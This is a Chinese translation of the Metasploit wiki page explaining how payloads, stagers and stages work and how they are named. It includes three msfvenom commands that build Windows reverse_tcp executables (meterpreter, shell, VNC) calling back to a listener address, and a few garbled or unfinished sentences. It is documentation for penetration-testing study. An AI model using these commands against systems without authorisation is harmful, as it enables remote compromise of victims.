【譯】Metasploit:Payloads 是如何工作的?


原文地址:https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work

譯者:王一航 & Google 2018-05-09
校對(duì):王一航 2018-05-09


工作原理

Payload 模塊存儲(chǔ)在 modules/payloads/{singles,stages,stagers}/<platform> 目錄中。
當(dāng)框架啟動(dòng)的時(shí)候,stages 將會(huì)和 stagers 合并起來(lái)創(chuàng)建一個(gè)完整的可以在 exploits 中使用的 payload
然后,handlers 將會(huì)和 payload 進(jìn)行對(duì)接,以便于我們的框架知道應(yīng)該如何在一個(gè)給定的通訊機(jī)制下創(chuàng)建 sessions

payloads被賦予參考名稱,指示所有的片段,如下所示:

Staged payloads: <platform>/[arch]/<stage>/<stager>
Single payloads: <platform>/[arch]/<single>

例如一個(gè)有效 payloads 的完整引用像這樣:

windows/x64/meterpreter/reverse_tcp

其中:平臺(tái)為 windows 平臺(tái),架構(gòu)為x64,我們提供的最終的 stagemeterpreter,而交付它的 stagerreverse_tcp

注意:其中 架構(gòu) 這個(gè)選項(xiàng)字段是可選的,因?yàn)橛行┣闆r下并沒(méi)有必要去糾結(jié)架構(gòu)。一個(gè)典型的例子是:

php/meterpreter/reverse_tcp

我們不需要為 PHP 的 Payload 指定一個(gè)架構(gòu),因?yàn)槲覀兲峁┑氖墙忉尨a而不是原生的二進(jìn)制代碼

Singles

Single payloads 是TODO。 它們具備和 Metasploit 建立溝通機(jī)制的能力,但是并不是必須與 Metasploit 進(jìn)行通信。 一個(gè)示例:是目標(biāo)沒(méi)有網(wǎng)絡(luò)訪問(wèn)時(shí),仍然可以通過(guò)USB密鑰提供文件格式攻擊,在這種場(chǎng)景下,您可能需要Singles

Stagers

stagers 是一個(gè)小發(fā)射器(譯者注:類似火箭的多級(jí)啟動(dòng)模式),旨在創(chuàng)建某種形式的通信,然后將執(zhí)行傳遞到下一個(gè)階段。 使用 stager 解決了兩個(gè)問(wèn)題。 首先,它允許我們最初使用一個(gè)小的有效載荷來(lái)裝載更多的功能更大的有效載荷。 其次,它可以將通信機(jī)制與最終階段分開(kāi),因此一個(gè)有效載荷可以與多個(gè)傳輸一起使用,而無(wú)需復(fù)制代碼。

Stages

既然 Stager 將通過(guò)為我們分配一大塊內(nèi)存來(lái)處理任何大小限制來(lái)處理它,那么stages可以是任意大的。 其中一個(gè)優(yōu)點(diǎn)是能夠使用C這樣的高級(jí)語(yǔ)言編寫(xiě)最終階段的有效載荷。

多級(jí)推進(jìn) (Delivering stages)

  1. payloads 回連的 IP地址 和 端口 被嵌入在 stager 中。就像上面討論的那樣,所有 staged payloads 已經(jīng)不再需要
    當(dāng)您使用分階段 payloads 創(chuàng)建可執(zhí)行文件時(shí),您實(shí)際上只是創(chuàng)建了 stager。 所以下面的命令會(huì)創(chuàng)建功能相同的 exe 文件:
msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp

(需要注意的是:盡管上述的 Payload 的功能是相同的,但是我們會(huì)做一些隨機(jī)化的工作,因此沒(méi)有兩個(gè)可執(zhí)行文件是完全相同的)

  1. Ruby端作為客戶端,使用由stager設(shè)置的任何傳輸機(jī)制 (例如:tcp, http, https)
  • shell 階段的情況下,當(dāng)您與終端進(jìn)行交互時(shí),Metasploit 會(huì)將遠(yuǎn)程進(jìn)程的標(biāo)準(zhǔn)輸入流 stdio 連接到您的終端。
  • Meterpreter 階段的情況下,Metasploit 將開(kāi)始使用 Meterpreter Wire 協(xié)議。
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容